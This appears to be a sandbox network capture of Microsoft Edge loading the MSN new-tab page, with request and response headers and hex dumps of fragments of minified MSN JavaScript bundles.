2024-04-23 21:02:21 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4d9e2026805a4165b3e55e3f89e5d346&HASH=4d9e&LV=202404&V=4&LU=1713906141144; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:21 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e9f54bf299e44cd0bb8f3fe6f5b4814c; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:21 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1906 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49809	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	651	OUT	GET /bundles/v1/edgeChromium/latest/serviceBasedChannelDataProvider.9c4c33b7b565b7ebefde.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: jOR3oO7/G6B9Gucg4XwgiA== Last-Modified: Fri, 19 Apr 2024 19:35:50 GMT ETag: 0x8DC60A7EBA74230 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 8b7a8268-d01e-0062-2790-927e98000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Length: 19849 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745458,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016872 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.18016872 Vary: Origin
2024-04-23 21:02:21 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 65 72 76 69 63 65 42 61 73 65 64 43 68 61 6e 6e 65 6c 44 61 74 61 50 72 6f 76 69 64 65 72 22 5d 2c 7b 31 36 37 33 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 74 2c 7b 55 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 7d 7d 29 3b 76 61 72 20 61 3d 69 28 33 36 33 34 35 29 2c 6f 3d 69 28 37 35 31 32 30 29 2c 73 3d 69 28 33 31 39 38 33 29 2c 6e 3d 69 28 38 35 32 30 35 29 2c 72 3d 69 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["serviceBasedChannelDataProvider"],{16738:function(e,t,i){i.d(t,{U:function(){return d}});var a=i(36345),o=i(75120),s=i(31983),n=i(85205),r=i
2024-04-23 21:02:21 UTC	4619	IN	Data Raw: 5b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 5d 3d 22 74 65 78 74 2f 6a 73 6f 6e 22 2c 61 2e 62 6f 64 79 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2c 74 68 69 73 2e 61 70 70 65 6e 64 51 73 28 6f 2c 69 29 7d 65 6c 73 65 7b 63 6f 6e 73 74 20 74 3d 7b 6b 65 79 3a 22 24 66 69 6c 74 65 72 22 2c 76 61 6c 75 65 3a 60 61 63 74 69 6f 6e 54 79 70 65 20 65 71 20 27 24 7b 63 7d 27 20 61 6e 64 20 28 74 61 72 67 65 74 49 64 20 65 71 20 27 24 7b 65 7d 27 29 20 61 6e 64 20 74 61 72 67 65 74 54 79 70 65 20 65 71 20 27 24 7b 64 7d 27 60 7d 3b 61 2e 6d 65 74 68 6f 64 3d 22 44 45 4c 45 54 45 22 3b 63 6f 6e 73 74 20 73 3d 5b 74 2c 2e 2e 2e 6f 5d 3b 74 68 69 73 2e 61 70 70 65 6e 64 51 73 28 73 2c 69 29 7d 72 65 74 75 72 6e 20 61 77 61 69 74 20 74 68 69 73 2e 73 65 Data Ascii: ["Content-Type"]="text/json",a.body=JSON.stringify(t),this.appendQs(o,i)}else{const t={key:"$filter",value:`actionType eq '${c}' and (targetId eq '${e}') and targetType eq '${d}'`};a.method="DELETE";const s=[t,...o];this.appendQs(s,i)}return await this.se

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49808	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	632	OUT	GET /bundles/v1/edgeChromium/latest/storyManager.dd315fba1ee6c20bdb3d.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: wggJvrpc2ukgd6gcPC+Y1A== Last-Modified: Wed, 17 Apr 2024 19:30:49 GMT ETag: 0x8DC5F14E341BE5B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: dcc5fa27-501e-0002-3dfd-903cba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Length: 7669 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745451,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801686b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.1801686b Vary: Origin
2024-04-23 21:02:21 UTC	7669	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 74 6f 72 79 4d 61 6e 61 67 65 72 22 5d 2c 7b 33 30 35 39 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 72 2e 72 28 65 29 2c 72 2e 64 28 65 2c 7b 53 74 6f 72 79 4d 61 6e 61 67 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 7d 29 3b 76 61 72 20 61 3d 72 28 35 34 32 39 37 29 2c 69 3d 72 28 37 35 31 32 30 29 2c 73 3d 72 28 38 30 30 38 32 29 2c 6e 3d 72 28 32 31 30 37 35 29 3b 63 6f 6e 73 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["storyManager"],{30594:function(t,e,r){r.r(e),r.d(e,{StoryManager:function(){return y}});var a=r(54297),i=r(75120),s=r(80082),n=r(21075);cons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49811	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	893	OUT	GET /service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
2024-04-23 21:02:21 UTC	3478	IN	HTTP/1.1 404 Not Found Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821dd-7e47-4936-932f-4df8712adf71 DDD-StrategyExecutionLatency: 00:00:00.0012995,00:00:00.0014526 DDD-DebugId: 662821dd-7e47-4936-932f-4df8712adf71\|2024-04-23T21:02:21.4860540Z\|fabric_msn\|ESU\|News_595 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie OneWebServiceLatency: 2 X-MSEdge-ResponseInfo: 2 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821dd7e474936932f4df8712adf71\|AFD:662821dd7e474936932f4df8712adf71\|2024-04-23T21:02:21.479Z X-MSEdge-Ref: Ref A: A8C57D43280F4A7F8E642476C0747D98 Ref B: ASHEDGE1415 Ref C: 2024-04-23T21:02:21Z Expires: Tue, 23 Apr 2024 21:02:21 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Length: 74 Connection: close Set-Cookie: _C_ETH=1; expires=Mon, 22 Apr 2024 21:02:21 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; expires=Sun, 18 May 2025 21:02:21 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402745566,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=36, origin; dur=31 , cdntime; dur=5 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180168de Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.180168de Vary: Origin
2024-04-23 21:02:21 UTC	74	IN	Data Raw: 7b 20 22 40 6f 64 61 74 61 2e 63 6f 6e 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 6d 73 6e 2e 63 6f 6d 2f 6d 73 6e 2f 24 6d 65 74 61 64 61 74 61 23 75 73 65 72 22 2c 20 22 76 61 6c 75 65 22 3a 20 5b 5d 7d Data Ascii: { "@odata.context": "https://api.msn.com/msn/$metadata#user", "value": []}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49814	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	636	OUT	GET /bundles/v1/edgeChromium/latest/common-feed-libs.1f70b20165d70f57b9b6.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: jVN62s9lWZDV0UpqrIwsMQ== Last-Modified: Tue, 23 Apr 2024 19:32:46 GMT ETag: 0x8DC63CC271F167E Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: cafa1a7d-501e-006a-04b5-952689000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402745573,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180168e5 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.180168e5 Vary: Origin
2024-04-23 21:02:21 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 2d 66 65 65 64 2d 6c 69 62 73 22 5d 2c 7b 32 38 34 34 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 74 2c 7b 59 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 6b 50 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 3b 63 6f 6e 73 74 20 6e 3d 7b 44 61 72 6b 50 6c 75 6d 3a 22 64 61 72 6b 2d 70 6c 75 6d 22 2c 44 61 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common-feed-libs"],{28443:function(e,t,i){i.d(t,{Y:function(){return r},kP:function(){return o}});const n={DarkPlum:"dark-plum",Da
2024-04-23 21:02:21 UTC	9395	IN	Data Raw: 69 74 79 4f 74 68 65 72 56 69 73 75 61 6c 51 75 61 6c 69 74 79 54 61 67 73 29 2c 74 3d 28 30 2c 61 2e 68 49 29 28 76 2e 73 75 73 70 65 63 74 65 64 41 49 4f 72 42 6f 74 43 72 65 61 74 65 64 54 61 67 73 29 3b 65 2e 6c 65 6e 67 74 68 26 26 28 53 2e 69 6d 61 67 65 51 75 61 6c 69 74 79 4f 74 68 65 72 56 69 73 75 61 6c 51 75 61 6c 69 74 79 3d 65 29 2c 74 2e 6c 65 6e 67 74 68 26 26 28 53 2e 61 69 64 65 74 65 63 74 69 6f 6e 3d 74 29 7d 63 6f 6e 73 74 20 54 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 61 72 74 69 63 6c 65 3a 7b 69 64 3a 65 7d 2c 63 61 6e 76 61 73 3a 7b 6e 61 6d 65 3a 6c 2e 6a 47 2e 41 70 70 54 79 70 65 2c 76 65 72 73 69 6f 6e 3a 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2c 70 61 67 65 54 79 70 65 3a 41 7c 7c 63 2e 41 6c 2e 43 Data Ascii: ityOtherVisualQualityTags),t=(0,a.hI)(v.suspectedAIOrBotCreatedTags);e.length&&(S.imageQualityOtherVisualQuality=e),t.length&&(S.aidetection=t)}const T=JSON.stringify({article:{id:e},canvas:{name:l.jG.AppType,version:navigator.userAgent,pageType:A\|\|c.Al.C
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 29 7b 77 69 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 72 61 63 6b 50 75 62 6c 69 73 68 65 72 46 6f 6c 6c 6f 77 53 74 61 74 75 73 22 2c 74 68 69 73 2e 6f 6e 43 68 61 6e 67 65 50 75 62 6c 69 73 68 65 72 46 6f 6c 6c 6f 77 53 74 61 74 75 73 29 7d 7d 63 6c 61 73 73 20 49 20 65 78 74 65 6e 64 73 20 50 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 29 7b 6c 65 74 20 69 3b 69 3d 65 7c 7c 28 28 30 2c 24 2e 4e 29 28 29 3f 77 69 6e 64 6f 77 2e 66 65 74 63 68 2e 62 69 6e 64 28 77 69 6e 64 6f 77 29 3a 66 65 74 63 68 29 2c 73 75 70 65 72 28 69 2c 74 29 7d 7d 6c 65 74 20 4c 3b 63 6f 6e 73 74 20 7a 3d 28 65 2c 74 29 3d 3e 4c 3f 28 74 26 26 4c 2e 73 65 74 41 64 64 69 74 69 6f 6e 61 6c 48 65 61 64 65 Data Ascii: 00006000(){window.removeEventListener("trackPublisherFollowStatus",this.onChangePublisherFollowStatus)}}class I extends P{constructor(e,t){let i;i=e\|\|((0,$.N)()?window.fetch.bind(window):fetch),super(i,t)}}let L;const z=(e,t)=>L?(t&&L.setAdditionalHeade
2024-04-23 21:02:21 UTC	8204	IN	Data Raw: 24 7b 65 3d 3e 65 2e 70 72 6f 76 69 64 65 72 44 61 74 61 2e 6e 61 6d 65 7d 3c 2f 73 70 61 6e 3e 60 29 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 7b 28 30 2c 6f 2e 67 29 28 28 65 3d 3e 65 2e 70 72 6f 76 69 64 65 72 44 61 74 61 26 26 65 2e 70 72 6f 76 69 64 65 72 44 61 74 61 2e 6e 61 6d 65 26 26 65 2e 70 75 62 6c 69 73 68 65 64 44 61 74 65 54 69 6d 65 29 2c 72 2e 64 79 60 20 c2 b7 20 60 29 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 7b 28 30 2c 6f 2e 67 29 28 28 65 3d 3e 65 2e 70 75 62 6c 69 73 68 65 64 44 61 74 65 54 69 6d 65 29 2c 72 2e 64 79 60 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 75 6e 69 63 6f 64 65 2d 62 69 64 69 3a 20 65 6d 62 65 64 3b 22 3e 24 7b 65 Data Ascii: ${e=>e.providerData.name}</span>`)} ${(0,o.g)((e=>e.providerData&&e.providerData.name&&e.publishedDateTime),r.dy` `)} ${(0,o.g)((e=>e.publishedDateTime),r.dy`<span style="unicode-bidi: embed;">${e
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 64 65 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 7d 22 0a 3e 0a 20 20 20 20 3c 73 76 67 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 36 22 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 36 22 0a 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 0a 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 0a 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 31 2e 34 35 38 37 20 34 2e 33 39 37 33 37 4c 31 31 2e 35 33 35 35 20 34 2e 34 36 34 34 39 43 31 31 2e 38 30 34 20 34 2e 37 33 32 39 37 20 31 31 2e 38 32 36 34 20 35 2e 31 35 34 33 37 20 31 31 Data Ascii: 00004000ide.getMetadataTag()}"> <svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" > <path d="M11.4587 4.39737L11.5355 4.46449C11.804 4.73297 11.8264 5.15437 11
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 24 7b 28 30 2c 61 2e 67 29 28 0d 0a Data Ascii: ${(0,a.g)(
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 28 28 29 3d 3e 65 2e 73 75 62 54 69 74 6c 65 29 2c 6e 2e 64 79 60 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 75 62 68 65 61 64 69 6e 67 2d 65 72 72 6f 72 20 24 7b 28 29 3d 3e 75 28 65 29 7d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 24 7b 65 2e 73 75 62 54 69 74 6c 65 7d 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 60 29 7d 0a 20 20 20 20 20 20 20 20 24 7b 28 30 2c 61 2e 67 29 28 28 28 29 3d 3e 65 2e 69 73 45 6e 68 61 6e 63 65 64 56 65 72 74 69 63 61 6c 73 46 61 6c 6c 62 61 63 6b 46 65 65 64 29 2c 6e 2e 64 79 60 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 61 6c 6c 62 Data Ascii: 00004000(()=>e.subTitle),n.dy` <div class="subheading-error ${()=>u(e)}"> <span>${e.subTitle}</span> </div> `)} ${(0,a.g)((()=>e.isEnhancedVerticalsFallbackFeed),n.dy` <div class="fallb
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 7d 29 29 29 7d 70 61 75 73 65 0d 0a Data Ascii: })))}pause
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 29 7b 74 68 69 73 2e 70 72 65 76 69 65 77 45 6c 65 6d 65 6e 74 26 26 28 74 68 69 73 2e 70 72 65 76 69 65 77 45 6c 65 6d 65 6e 74 2e 70 61 75 73 65 28 29 2c 74 68 69 73 2e 69 73 50 6c 61 79 69 6e 67 3d 21 31 29 7d 72 65 67 69 73 74 65 72 48 6f 76 65 72 48 61 6e 64 6c 65 72 73 28 65 29 7b 74 68 69 73 2e 65 76 65 6e 74 48 61 6e 64 6c 65 72 73 2e 68 6f 76 65 72 53 74 61 72 74 3d 74 68 69 73 2e 68 6f 76 65 72 53 74 61 72 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 65 76 65 6e 74 48 61 6e 64 6c 65 72 73 2e 68 6f 76 65 72 45 6e 64 3d 74 68 69 73 2e 68 6f 76 65 72 45 6e 64 2e 62 69 6e 64 28 74 68 69 73 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 74 68 69 73 2e 65 Data Ascii: 00006000(){this.previewElement&&(this.previewElement.pause(),this.isPlaying=!1)}registerHoverHandlers(e){this.eventHandlers.hoverStart=this.hoverStart.bind(this),this.eventHandlers.hoverEnd=this.hoverEnd.bind(this),e.addEventListener("mouseenter",this.e
